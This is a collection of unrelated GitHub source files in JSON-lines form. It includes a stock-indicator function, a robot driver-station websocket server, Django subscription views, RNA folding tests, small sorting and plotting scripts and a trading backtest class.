0.0\n if length - 1.0 >= 5:\n f88 = length - 1.0\n else:\n f88 = 5.0\n f8 = 100.0 * close.iloc[i]\n f18 = 3.0 / (length + 2.0)\n f20 = 1.0 - f18\n else:\n if f88 <= f90:\n f90 = f88 + 1\n else:\n f90 = f90 + 1\n f10 = f8\n f8 = 100 * close.iloc[i]\n v8 = f8 - f10\n f28 = f20 * f28 + f18 * v8\n f30 = f18 * f28 + f20 * f30\n vC = 1.5 * f28 - 0.5 * f30\n f38 = f20 * f38 + f18 * vC\n f40 = f18 * f38 + f20 * f40\n v10 = 1.5 * f38 - 0.5 * f40\n f48 = f20 * f48 + f18 * v10\n f50 = f18 * f48 + f20 * f50\n v14 = 1.5 * f48 - 0.5 * f50\n f58 = f20 * f58 + f18 * abs(v8)\n f60 = f18 * f58 + f20 * f60\n v18 = 1.5 * f58 - 0.5 * f60\n f68 = f20 * f68 + f18 * v18\n f70 = f18 * f68 + f20 * f70\n v1C = 1.5 * f68 - 0.5 * f70\n f78 = f20 * f78 + f18 * v1C\n f80 = f18 * f78 + f20 * f80\n v20 = 1.5 * f78 - 0.5 * f80\n\n if f88 >= f90 and f8 != f10:\n f0 = 1.0\n if f88 == f90 and f0 == 0.0:\n f90 = 0.0\n\n if f88 < f90 and v20 > 0.0000000001:\n v4 = (v14 / v20 + 1.0) * 50.0\n if v4 > 100.0:\n v4 = 100.0\n if v4 < 0.0:\n v4 = 0.0\n else:\n v4 = 50.0\n result.append(v4)\n rsx = Series(result, index=close.index)\n\n # Offset\n if offset != 0:\n rsx = rsx.shift(offset)\n\n # Handle fills\n if \"fillna\" in kwargs:\n rsx.fillna(kwargs[\"fillna\"], inplace=True)\n if \"fill_method\" in kwargs:\n rsx.fillna(method=kwargs[\"fill_method\"], inplace=True)\n\n # Name and Categorize it\n rsx.name = f\"RSX_{length}\"\n rsx.category = \"momentum\"\n\n signal_indicators = kwargs.pop(\"signal_indicators\", False)\n if signal_indicators:\n signalsdf = concat(\n [\n DataFrame({rsx.name: rsx}),\n signals(\n indicator=rsx,\n xa=kwargs.pop(\"xa\", 80),\n xb=kwargs.pop(\"xb\", 20),\n xserie=kwargs.pop(\"xserie\", None),\n xserie_a=kwargs.pop(\"xserie_a\", None),\n xserie_b=kwargs.pop(\"xserie_b\", None),\n cross_values=kwargs.pop(\"cross_values\", False),\n cross_series=kwargs.pop(\"cross_series\", True),\n offset=offset,\n ),\n ],\n axis=1\n )\n\n return signalsdf\n else:\n return rsx\n\n\nrsx.__doc__ = \\\n\"\"\"Relative Strength Xtra (rsx)\n\nThe Relative Strength Xtra is based on the popular RSI indicator and inspired\nby the work Jurik Research. The code implemented is based on published code\nfound at 'prorealcode.com'. This enhanced version of the rsi reduces noise and\nprovides a clearer, only slightly delayed insight on momentum and velocity of\nprice movements.\n\nSources:\n http://www.jurikres.com/catalog1/ms_rsx.htm\n https://www.prorealcode.com/prorealtime-indicators/jurik-rsx/\n\nCalculation:\n Refer to the sources above for information as well as code example.\n\nArgs:\n close (pd.Series): Series of 'close's\n length (int): It's period. Default: 14\n drift (int): The difference period. Default: 1\n offset (int): How many periods to offset the result. Default: 0\n\nKwargs:\n fillna (value, optional): pd.DataFrame.fillna(value)\n fill_method (value, optional): Type of fill method\n\nReturns:\n pd.Series: New feature generated.\n\"\"\"\n","repo_name":"twopirllc/pandas-ta","sub_path":"pandas_ta/momentum/rsx.py","file_name":"rsx.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":4180,"dataset":"github-code","pt":"31"} +{"seq_id":"43417364717","text":"#!/usr/bin/env python3\n\nimport tornado.ioloop\nfrom tornado.ioloop import IOLoop\nimport tornado.web\nimport tornado.websocket\nimport sys\nimport time\nfrom networktables import NetworkTable\nfrom tornado.websocket import WebSocketHandler\nfrom tornado.websocket import WebSocketClosedError\nfrom tornado.options import define, options, parse_command_line\nimport logging\nimport json\nimport os.path\nimport cv2\nimport struct\nimport threading\nimport socket\nimport numpy as np\nimport logging\n\nfrom threading import RLock\nlogging.basicConfig(level=logging.DEBUG)\n\n\n\nclass WebSocket(tornado.websocket.WebSocketHandler):\n\n #\n # WebSocket API\n #\n\n def check_origin(self, origin):\n return True\n \n def open(self):\n\n self.ioloop = IOLoop.current()\n self.nt = NetworkTable.getGlobalTable()\n NetworkTable.addGlobalListener(self.valueChanged, immediateNotify=True)\n\n def on_message(self, message):\n data=json.loads(message)\n\n key = data['key']\n val = data['value']\n \n print('key-',key,',val-',val,' type is ', type(val))\n\n self.nt.putValue(key, val)\n \n def on_close(self):\n print(\"WebSocket closed\")\n NetworkTable.removeGlobalListener(self.valueChanged)\n\n #\n # NetworkTables specific stuff\n #\n \n def valueChanged(self, key, value, isNew):\n self.ioloop.add_callback(self.changeValue, key, value,\"valueChanged\")\n\n def changeValue(self, key, value, event):\n #sends a message to the driverstation\n message={'key':key,\n 'value':value,\n 'event':event}\n \n try:\n self.write_message(message, False)\n except WebSocketClosedError:\n print(\"websocket closed when sending message\")\n\ndef init_networktables(ipaddr):\n\n print(\"Connecting to networktables at %s\" % ipaddr)\n NetworkTable.setIPAddress(ipaddr)\n NetworkTable.setClientMode()\n NetworkTable.initialize()\n print(\"Networktables Initialized\")\n\nclass CaptureClient:\n '''\n This probably isn't terribly efficient.. \n '''\n kPort = 1180\n kMagicNumber = bytes([0x01, 0x00, 0x00, 0x00])\n kSize640x480 = 0\n kSize320x240 = 1\n kSize160x120 = 2\n \n intStruct = struct.Struct(\"!i\")\n \n def __init__(self, host):\n self.host = host\n \n self.running = True\n self.sock = None\n self.on_img = None\n \n self.fps = 10\n self.compression = 30\n self.size = self.kSize160x120\n \n self.thread = threading.Thread(target=self._capture_thread)\n self.logger = logging.getLogger('cvclient')\n \n def start(self):\n \n if self.on_img is None:\n raise ValueError(\"No capture function set\")\n \n self.thread.start()\n \n def stop(self):\n self.running = False\n if self.sock is not None:\n self.sock.close()\n \n self.thread.join()\n \n def set_on_img(self, fn):\n self.on_img = fn\n \n def _capture_thread(self):\n \n address = (self.host, 1180)\n\n while self.running:\n \n self.sock = None\n \n try:\n self.sock = socket.create_connection(address, timeout=1)\n \n self.sock.settimeout(5)\n \n s = self.sock.makefile('rwb')\n self._do_capture(s)\n \n except IOError:\n \n self.logger.exception(\"Error reading data\")\n \n try:\n if self.sock is not None:\n self.sock.close()\n except:\n pass\n \n if self.sock is None:\n time.sleep(1)\n\n def _read(self, s, size):\n data = s.read(size)\n if len(data) != size:\n raise IOError(\"EOF\")\n return data\n\n def _do_capture(self, s):\n \n # TODO: Add metrics\n \n s.write(self.intStruct.pack(self.fps))\n s.write(self.intStruct.pack(self.compression))\n s.write(self.intStruct.pack(self.size))\n s.flush()\n \n '''self.sock.close()\n self.sock = socket.create_connection((self.host, 1180), timeout=1)\n \n self.sock.settimeout(5)\n \n s = self.sock.makefile('rwb')'''\n \n while True:\n \n # read an int\n print(\"Read\")\n magic = self._read(s, 4)\n sz = self.intStruct.unpack(self._read(s, 4))[0]\n \n # read the image buffer\n print(\"readsz: %s\" % sz)\n img_bytes = self._read(s, sz)\n \n img_bytes = np.fromstring(img_bytes, np.uint8)\n \n # decode it\n img = cv2.imdecode(img_bytes, cv2.IMREAD_COLOR)\n \n # write to a buffer\n # - TODO: use two buffers to save memory allocations\n #cv2.imwrite(\"text.jpg\",img)\n\n\nclass MyStaticFileHandler(tornado.web.StaticFileHandler):\n\n # This is broken in tornado, disable it\n def check_etag_header(self):\n return False\n\ndef main():\n\n define(\"host\", default='127.0.0.1', help=\"Hostname of robot\", type=str)\n define(\"port\", default=8888, help=\"run on the given port\", type=int)\n\n parse_command_line()\n\n init_networktables(options.host)\n \n capture = CaptureClient(options.host)\n img_lock = threading.Lock()\n imgs = [None]\n def _on_img(img):\n with img_lock:\n imgs[0] = img\n\n capture.set_on_img(_on_img)\n capture.start()\n\n app = tornado.web.Application([\n (r'/ws', WebSocket),\n (r\"/(.*)\", MyStaticFileHandler, {\"path\": os.path.dirname(__file__)}),\n\n ])\n \n print(\"Listening on http://localhost:%s/\" % options.port)\n print(\"- Websocket API at ws://localhost:%s/ws\" % options.port)\n\n app.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n\n\nif __name__ == '__main__':\n main()\n#connectToIP(ipadd)\n","repo_name":"CarterFendley/2015-ui","sub_path":"driverStationServer.py","file_name":"driverStationServer.py","file_ext":"py","file_size_in_byte":6086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3422753980","text":"import os, sys, argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-r', '--replace')\nparser.add_argument('-s', '--state')\nargs = parser.parse_args()\n\nif args.replace:\n\tdirectory = args.replace\n\tfor filename in os.listdir(directory):\n\t\tif not filename.endswith(\".dat\") and not filename.endswith('meta'):\n\t\t\tos.rename(os.path.join(directory, filename), os.path.join(directory, filename.split('.')[0] + \".dat\"))\n\nelif args.state:\n\tdirectory = args.state\n\tfor filename in os.listdir(directory):\n\t\tif not filename.endswith(\".dat\") and not filename.endswith('meta'):\n\t\t\tcat, state = filename.split('.')\n\t\t\tos.rename(os.path.join(directory, filename), os.path.join(directory, cat + \"_\" + state + \".dat\"))","repo_name":"ssdan-psc/webchip","sub_path":"data/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"41714097072","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\n\nT = int(input())\nfor t in range(1, T+1):\n N = int(input())\n\n data = list(map(int, input().split()))\n data.sort()\n\n answer = [0] * 10\n for i in range(5):\n answer[2*i+1] = str(data[i])\n for i in range(5):\n answer[2*i] = str(data[-i-1])\n\n print('#{} {}'.format(t, ' '.join(answer)))\n","repo_name":"heecheol1508/algorithm-problem","sub_path":"_swea/4843_d3_특별한 정렬.py","file_name":"4843_d3_특별한 정렬.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42769709561","text":"#\n# Kasim Terzic (kt54) Jan 2018\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import Ridge\nfrom sklearn.linear_model import Lasso\n\n# Create a dictionary to pass to matplotlib\n# This is an easy way to set many parameters at once\nfontsize = \"30\"\nparams = {'figure.autolayout':True,\n 'legend.fontsize': fontsize,\n 'figure.figsize': (16, 8),\n 'axes.labelsize': fontsize,\n 'axes.titlesize': fontsize,\n 'xtick.labelsize':fontsize,\n 'ytick.labelsize':fontsize}\nplt.rcParams.update(params)\n\nnp.random.seed(3)\nm = 15\nX = 6 * np.random.rand(m,1) - 3\ny = 0.2 * X**2 + .1 * X + 2 + .3*np.random.randn(m,1)\n\nprint(X.min(), X.max())\n#print(y)\n\n# Create a new figure and an axes objects for the subplot\nfig, ax = plt.subplots()\n\n# Use a light grey grid to make reading easier, and put the grid \n# behind the display markers\nax.grid(color='lightgray', linestyle='-', linewidth=1)\nax.set_axisbelow(True)\nax.set_ylim(1,4)\nax.set_xlim(-4,4)\n\n# Draw a scatter plot of x vs y\nax.scatter(X, y, color='blue', alpha=.8, s=140, marker='^')\nax.set_xlabel('X')\nax.set_ylabel('y')\n\n# Save as an image file\nplt.savefig('plot_parabola.png')\n\n# Linear regression\nX_test = np.linspace(-3,3,100)\nX_test = X_test.reshape((100,1))\nnew_X = X_test\n\n# Polynomial regression order 7, least squares\nX7 = np.hstack((X,X**2,X**3,X**4,X**5,X**6,X**7))\nnew_X7 = np.hstack((new_X,new_X**2,new_X**3,new_X**4,new_X**5,new_X**6,new_X**7))\nlinreg = LinearRegression()\nlinreg.fit(X7,y)\nnew_y = linreg.predict(new_X7)\nplt.plot(new_X, new_y, color='red', linewidth=3)\nplt.savefig('plot_reg_none.png')\n\n# Polynomial regression order 7\nlasso = Lasso(alpha=.05,fit_intercept=True,normalize=True)\nlasso.fit(X7,y)\nnew_y = lasso.predict(new_X7)\nplt.plot(new_X, new_y, color='green', linewidth=3)\nplt.savefig('plot_reg_lasso.png')\n\n# Polynomial regression order 7\nridge = Ridge(alpha=1,fit_intercept=True,normalize=True)\nridge.fit(X7,y)\nnew_y = ridge.predict(new_X7)\nplt.plot(new_X, new_y, color='purple', linewidth=3)\nax.legend(['Least squares','L1 (Lasso)','L2 (Ridge)'], loc='lower left')\nplt.savefig('plot_reg_ridge.png')\n\n\n# Display in a window\nplt.show()\n","repo_name":"cheetahfelidae/CS5014-Example","sub_path":"Lecture11/l11-regularisation.py","file_name":"l11-regularisation.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31113856167","text":"# -*- coding: utf-8 -*-\n# vi:si:et:sw=4:sts=4:ts=4\n\n\nfrom datetime import datetime\nimport json\n\nimport sqlalchemy as sa\n\nfrom utils import datetime2ts, ts2datetime\nfrom websocket import trigger_event\nimport db\nimport settings\nimport state\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nclass Changelog(db.Model):\n '''\n additem itemid metadata from file (info) + OLID\n edititem itemid name->id (i.e. olid-> OL...M)\n removeitem itemid\n addlist name\n editlist name {name: newname}\n orderlists [name, name, name]\n removelist name\n addlistitems listname [ids]\n removelistitems listname [ids]\n editusername username\n editcontact string\n addpeer peerid peername\n removepeer peerid peername\n\n editmeta key, value data (i.e. 'isbn', '0000000000', {title: 'Example'})\n resetmeta key, value\n '''\n __tablename__ = 'changelog'\n id = sa.Column(sa.Integer(), primary_key=True)\n\n created = sa.Column(sa.DateTime())\n timestamp = sa.Column(sa.BigInteger())\n\n user_id = sa.Column(sa.String(43))\n revision = sa.Column(sa.BigInteger())\n data = sa.Column(sa.Text())\n sig = sa.Column(sa.String(96))\n\n @classmethod\n def record(cls, user, action, *args):\n c = cls()\n c.created = datetime.utcnow()\n c.timestamp = datetime2ts(c.created)\n c.user_id = user.id\n c.revision = cls.query.filter_by(user_id=user.id).count()\n c.data = json.dumps([action] + list(args), ensure_ascii=False)\n _data = str(c.revision) + str(c.timestamp) + c.data\n _data = _data.encode()\n state.db.session.add(c)\n state.db.session.commit()\n #if state.nodes:\n # state.nodes.queue('peered', 'pushChanges', [c.json()])\n\n @classmethod\n def apply_changes(cls, user, changes):\n trigger = changes\n for change in changes:\n if not cls.apply_change(user, change, trigger=False):\n logger.debug('FAIL %s', change)\n trigger = False\n break\n return False\n if trigger:\n trigger_event('change', {});\n return True\n\n @classmethod\n def apply_change(cls, user, change, trigger=True):\n revision, timestamp, data = change\n last = cls.query.filter_by(user_id=user.id).order_by('-revision').first()\n next_revision = last.revision + 1 if last else 0\n if revision >= next_revision:\n c = cls()\n c.created = datetime.utcnow()\n c.timestamp = timestamp\n c.user_id = user.id\n c.revision = revision\n c.data = data\n args = json.loads(data)\n logger.debug('apply change from %s: %s', user.name, args)\n if getattr(c, 'action_' + args[0])(user, timestamp, *args[1:]):\n logger.debug('change applied')\n state.db.session.add(c)\n state.db.session.commit()\n if trigger:\n trigger_event('change', {});\n return True\n else:\n logger.debug('revsion does not match! got %s expecting %s', revision, next_revision)\n return False\n\n def __repr__(self):\n return self.data\n\n def json(self):\n timestamp = self.timestamp or datetime2ts(self.created)\n return [self.revision, timestamp, self.data]\n\n @classmethod\n def restore(cls, user_id, path=None):\n from user.models import User\n user = User.get_or_create(user_id)\n if not path:\n path = '/tmp/oml_changelog_%s.json' % user_id\n with open(path, 'r') as fd:\n for change in fd:\n change = json.loads(change)\n cls.apply_change(user, change, user_id == settings.USER_ID)\n\n @classmethod\n def export(cls, user_id, path=None):\n if not path:\n path = '/tmp/oml_changelog_%s.json' % user_id\n with open(path, 'w') as fd:\n for c in cls.query.filter_by(user_id=user_id).order_by('revision'):\n fd.write(json.dumps(c.json(), ensure_ascii=False) + '\\n')\n\n def action_additem(self, user, timestamp, itemid, info):\n from item.models import Item\n i = Item.get(itemid)\n if i:\n if user not in i.users:\n i.add_user(user)\n i.update()\n else:\n i = Item.get_or_create(itemid, info)\n i.modified = ts2datetime(timestamp)\n if user not in i.users:\n i.add_user(user)\n i.update()\n user.clear_smart_list_cache()\n return True\n\n def action_edititem(self, user, timestamp, itemid, meta):\n from item.models import Item\n i = Item.get(itemid)\n if not i:\n logger.debug('ignore edititem for unknown item %s %s', timestamp, itemid)\n return True\n if i.timestamp > timestamp:\n logger.debug('ignore edititem change %s %s %s', timestamp, itemid, meta)\n return True\n primary = None\n if 'primaryid' in meta:\n primary = meta['primaryid']\n key = primary[0]\n else:\n keys = [k for k in meta if k in Item.id_keys]\n if keys:\n key = keys[0]\n primary = [key, meta[key]]\n if primary:\n if not meta[key] and i.meta.get('primaryid', [''])[0] == key:\n logger.debug('remove id mapping %s %s', i.id, primary)\n i.update_primaryid(*primary, scrape=False)\n i.modified = ts2datetime(timestamp)\n elif meta[key] and i.meta.get('primaryid') != primary:\n logger.debug('edit mapping %s %s', i.id, primary)\n i.update_primaryid(*primary, scrape=False)\n i.modified = ts2datetime(timestamp)\n else:\n i.update_meta(meta)\n i.modified = ts2datetime(timestamp)\n i.save()\n user.clear_smart_list_cache()\n return True\n\n def action_removeitem(self, user, timestamp, itemid):\n from item.models import Item\n i = Item.get(itemid)\n if i:\n if user in i.users:\n i.users.remove(user)\n if i.users:\n i.update()\n else:\n i.delete()\n user.clear_list_cache()\n user.clear_smart_list_cache()\n return True\n\n def action_addlist(self, user, timestamp, name, query=None):\n from user.models import List\n l = List.create(user.id, name)\n return True\n\n def action_editlist(self, user, timestamp, name, new):\n from user.models import List\n l = List.get_or_create(user.id, name)\n if 'name' in new:\n l.name = new['name']\n l.save()\n user.clear_list_cache()\n return True\n\n def action_orderlists(self, user, timestamp, lists):\n from user.models import List\n idx = 0\n for name in lists:\n l = List.get_or_create(user.id, name)\n l.index_ = idx\n l.save()\n idx += 1\n return True\n\n def action_removelist(self, user, timestamp, name):\n from user.models import List\n l = List.get(user.id, name)\n if l:\n l.remove()\n user.clear_list_cache()\n return True\n\n def action_addlistitems(self, user, timestamp, name, ids):\n from user.models import List\n l = List.get_or_create(user.id, name)\n l.add_items(ids)\n return True\n\n def action_removelistitems(self, user, timestamp, name, ids):\n from user.models import List\n l = List.get(user.id, name)\n if l:\n l.remove_items(ids)\n return True\n\n def action_editusername(self, user, timestamp, username):\n from user.models import List\n old = user.nickname\n user.info['username'] = username\n user.update_name()\n if old != user.nickname:\n List.rename_user(old, user.nickname)\n user.save()\n return True\n\n def action_editcontact(self, user, timestamp, contact):\n user.info['contact'] = contact\n user.save()\n return True\n\n def action_addpeer(self, user, timestamp, peerid, username):\n if len(peerid) == 16:\n from user.models import User\n if not 'users' in user.info:\n user.info['users'] = {}\n user.info['users'][peerid] = username\n user.save()\n peer = User.get_or_create(peerid)\n if not 'username' in peer.info:\n peer.info['username'] = username\n peer.update_name()\n peer.save()\n return True\n\n def action_removepeer(self, user, timestamp, peerid):\n if 'users' in user.info and peerid in user.info['users']:\n del user.info['users'][peerid]\n user.save()\n #fixme, remove from User table if no other connection exists\n return True\n\n def action_editmeta(self, user, timestamp, key, value, data):\n from item.models import Metadata\n m = Metadata.get(key, value)\n if not m or m.timestamp < timestamp:\n if not m:\n m = Metadata.get_or_create(key, value)\n if m.edit(data):\n m.update_items()\n user.clear_smart_list_cache()\n return True\n\n def action_resetmeta(self, user, timestamp, key, value):\n from item.models import Metadata\n m = Metadata.get(key, value)\n if m and m.timestamp < timestamp:\n m.reset()\n user.clear_smart_list_cache()\n return True\n","repo_name":"h4ck3rm1k3/openmedialibrary","sub_path":"oml/changelog.py","file_name":"changelog.py","file_ext":"py","file_size_in_byte":9832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"7923791018","text":"from drf_yasg.utils import swagger_auto_schema\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom django.shortcuts import get_object_or_404\n\nfrom main.models import User\nfrom .notifications import ContentEmail\n\nfrom .serializers import ContactSerializer, UserSerializer, UserUnsubSerializer\n\n\n# Create your views here.\n@swagger_auto_schema(\n operation_description=\"\"\"\"\"\",\n request_body=UserSerializer,\n method='POST'\n )\n@api_view([\"POST\"])\ndef subscribe(request):\n ser = UserSerializer(data=request.data)\n if ser.is_valid():\n ser.save()\n return Response(ser.data, status=status.HTTP_201_CREATED)\n return Response(ser.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@swagger_auto_schema(\n operation_description=\"\"\"\"\"\",\n request_body=UserUnsubSerializer,\n method='POST'\n )\n@api_view([\"POST\"])\ndef unsubscribe(request, id):\n # user = User.objects.get(id=id)\n user = get_object_or_404(User, id=id)\n ser = UserUnsubSerializer(instance=user, data=request.data)\n if ser.is_valid():\n ser.save()\n return Response(ser.data, status=status.HTTP_201_CREATED)\n return Response(ser.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# @api_view([\"POST\"])\n# def unsubscribe(request, email):\n# user = User.objects.get(email=email)\n# user.active = False\n# user.save()\n# return Response(status=status.HTTP_202_ACCEPTED)\n\n@swagger_auto_schema(\n operation_description=\"\"\"\"\"\",\n request_body=ContactSerializer,\n method='POST'\n )\n@api_view([\"POST\"])\ndef contact(request):\n ser = ContactSerializer(data=request.data)\n if ser.is_valid():\n ContentEmail(request.data['name'], request.data['description'], request.data['email']).send()\n ser.save()\n\n return Response(ser.data, status=status.HTTP_201_CREATED)\n return Response(ser.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"YousefGhazal/quran_mail","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"14179248829","text":"import os\nimport unittest\nfrom struct import *\nimport locale\n\nlocale.setlocale(locale.LC_ALL, 'C')\n\nif __name__ == '__main__':\n from py_include import taprunner\n import RNApath\n RNApath.addSwigInterfacePath()\n\nimport RNA\n\n\nseq1 = \"CGCAGGGAUACCCGCG\"\nstruct1 = \"(((.(((...))))))\"\n\nstruct11 = \"(((.((.....)))))\"\nseq2 = \"GCGCCCAUAGGGACGC\"\nstruct2 = \"((((((...))).)))\"\nseq3 = \"GCGCACAUAGUGACGC\"\nstruct3 = \"(..(((...)))...)\"\nalign = [seq1,seq2,seq3]\n(struct, mfe) = RNA.fold(seq1)\n\n\nclass GeneralTests(unittest.TestCase):\n \"\"\"Some general tests\"\"\"\n VERSION = os.environ.get('VRNA_VERSION', '')\n\n def test_version(self):\n \"\"\"Version number\"\"\"\n if self.VERSION != '':\n self.assertEqual(RNA.__version__, self.VERSION)\n\n\n def test_hammingDistance(self):\n \"\"\"Compute hamming distance between sequences and structures\"\"\"\n self.assertEqual(RNA.hamming(seq1,seq2),16)\n self.assertEqual(RNA.bp_distance(struct1,struct2),6)\n\n\n def test_temperature(self):\n \"\"\"Default global Temperature\"\"\"\n self.assertEqual(RNA.cvar.temperature,37)\n\n\n def test_foldASequence(self):\n \"\"\"Simple MFE prediction, structure, energy\"\"\"\n # new better interface\n (structure, mfe) = RNA.fold(seq1)\n self.assertEqual(structure,struct1)\n # check energy\n self.assertTrue(abs(RNA.energy_of_struct(seq1, struct1) - mfe) < 0.0001)\n\n\n def test_constrained_folding(self):\n \"\"\"Simple constrained MFE folding\"\"\"\n RNA.cvar.fold_constrained = 1\n (structure,cmfe) = RNA.fold(seq1,\"....xx....xx....\")\n self.assertEqual(structure,'(((..........)))')\n self.assertTrue(abs(RNA.energy_of_struct(seq1, structure) - cmfe) < 0.0001)\n RNA.cvar.fold_constrained = 0\n\n\n def test_tree_distance(self):\n \"\"\"Tree edit distance\"\"\"\n xstruc = RNA.expand_Full(struct1)\n T1 = RNA.make_tree(xstruc)\n xstruc = RNA.expand_Full(struct2)\n T2 = RNA.make_tree(xstruc)\n RNA.edit_backtrack = 1\n tree_dist = RNA.tree_edit_distance(T1, T2)\n # print RNA::get_aligned_line(0), RNA::get_aligned_line(1),\"\\n\"\n self.assertEqual(tree_dist,2)\n\n\n def test_cofold_andMore(self):\n \"\"\"Cofolding of two sequences, MFE and Partition function, base pairing probabilities\"\"\"\n RNA.cvar.cut_point = len(seq1)+1\n (costruct,comfe) = RNA.cofold(seq1 + seq2)\n self.assertEqual(costruct,'(((.(((...))))))((((((...))).)))')\n cmfe = RNA.energy_of_struct(seq1 + seq2, costruct)\n self.assertTrue(abs(comfe - cmfe) < 1e-5)\n (x,ac,bc,fcab,cf) = RNA.co_pf_fold(seq1 + seq2)\n self.assertTrue(cf A[j+1]:\n A[j], A[j+1] = A[j+1], A[j]\n \ndef test(n=1000):\n A = gen_test(n)\n bubble_sort2(A)\n print(verify_sort(A))\n \n\n\n \n \n \n\n","repo_name":"JasonVann/CLRS","sub_path":"S1_Foundation/C2_GettingStarted/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29704801888","text":"# 「'aaa'と出力してね」という指示\nprint('aaa')\n\n# 1+1の計算結果を出力\nprint(1+1)\n\n# 入力した値の倍の数値を出力\nraw=int(input('数値を入力してください'))\n# ターミナルに'数値を入力してください'と表示されたら好きな数値を入力してEnter\nresult=raw*2\nprint(result)\n\n# 後出しじゃんけん君\ndef janken(player_hand):\n if player_hand =='グー':\n return('パー')\n elif player_hand =='パー':\n return('チョキ')\n elif player_hand =='チョキ':\n return('グー')\n else:\n return('error')\nprint('私とじゃんけんしましょう')\nplayer_hand = input('グーかチョキかパーを選んでください')\nreturn_hand = janken(player_hand)\nif return_hand == 'error':\n print('あなたの反則により私の勝ちです。')\nelse:\n print('私は'+return_hand+'を出しました。私の勝ちです。')","repo_name":"Arashi-Shisy/SDCM","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17853353104","text":"\"\"\"\nComponent unit class: Backtest\n---------------------\n\"\"\"\n\n__author_ = \"Han Xiao (Aaron)\"\n\nimport time\nimport datetime\nimport pprint\nimport queue\nfrom queue import Queue\nimport threading\n\n# component class unit\nfrom data.data import HistoricalDataHandler\nfrom portfolio.execution import ExecutionHandler\nfrom portfolio.portfolio import Portfolio\nimport portfolio.performance\n\n\nclass Backtest:\n \"\"\"\n\n \"\"\"\n def __init__(self,\n csv_path:str,\n factor_path:str,\n symbol_list:list,\n\n initial_capital:float,\n heartbeat,\n strategy,\n start,\n end=None,\n\n trade_day:list = None,\n n: int = None,\n freq:int = None,\n position_swap_method:str = 'default',\n\n single_factor_test=False,\n factor_group:str = None,\n\n data_handler=HistoricalDataHandler,\n portfolio=Portfolio,\n execution_handler=ExecutionHandler\n ):\n\n \"\"\"\n :param csv_path: Absolute path where you save your stock price data files (or other fundamental data).\n :param factor_path: Absolute path where you save your factor rank data.\n :param symbol_list: A list consisted of all tradable stock symbols.\n :param initial_capital:\n :param heartbeat:\n :param start:\n :param strategy:\n :param trade_day:\n :param n:\n :param freq:\n :param data_handler:\n :param portfolio:\n :param execution_handler:\n \"\"\"\n\n self.csv_path = csv_path\n self.factor_path = factor_path\n self.symbol_list = symbol_list\n\n self.initial_capital = initial_capital\n self.heartbeat = heartbeat\n self.start = start\n self.end = end\n\n self.event = Queue()\n self.trade_day = trade_day\n self.n = n\n self.freq = freq\n self.position_swap_method = position_swap_method\n\n self.single_factor_test = single_factor_test\n self.factor_group = factor_group\n\n # Instantiate component class\n self.data_handler = data_handler(events=self.event,\n symbol_list=self.symbol_list,\n csv_path=self.csv_path,\n factor_path=self.factor_path,\n trade_day=self.trade_day,\n method='csv',\n start=self.start,\n n=self.n,\n freq=self.freq,\n single_factor_test=self.single_factor_test,\n factor_group=self.factor_group)\n\n self.strategy = strategy(self.data_handler,\n self.event,\n self.n,\n self.freq)\n\n self.portfolio = portfolio(bars=self.data_handler,\n events=self.event,\n start=self.start,\n initial_capital=self.initial_capital,\n n=self.n,\n position_freq=self.freq)\n\n self.execution_handler = execution_handler(events=self.event)\n\n # event statistics\n self.signals = 0\n self.orders = 0\n self.fill = 0\n self.num_starts = 1\n\n def _run_backtest(self):\n \"\"\"\n\n :return:\n \"\"\"\n while True:\n # Update the market bars\n if self.data_handler.continue_backtest:\n self.data_handler.update_bars()\n self.portfolio.estimate_allocation()\n else:\n break\n\n # Handle the events\n while True:\n try:\n event = self.event.get(False)\n except queue.Empty:\n break\n else:\n if event is not None:\n\n if event.type == \"Market\":\n # 信号计算与每日portfolio更新\n self.strategy.calculate_signals(event)\n self.portfolio.update_time_index()\n\n elif event.type == \"Signal\":\n # 交易信号处理与头寸计算\n self.signals += 1\n self.portfolio.update_signal(event)\n\n elif event.type == \"Order\":\n # 下单\n self.orders += 1\n self.execution_handler.execute_order(event)\n\n elif event.type == \"Fill\":\n # 完成订单与portfolio更新\n self.fill += 1\n self.portfolio.update_fill(event)\n\n # print(len(threading.enumerate()))\n\n time.sleep(self.heartbeat)\n\n def _output_performance(self):\n \"\"\"\n\n :return:\n \"\"\"\n pass\n\n def backtesting(self):\n \"\"\"\n\n :return:\n \"\"\"\n self._run_backtest()\n # 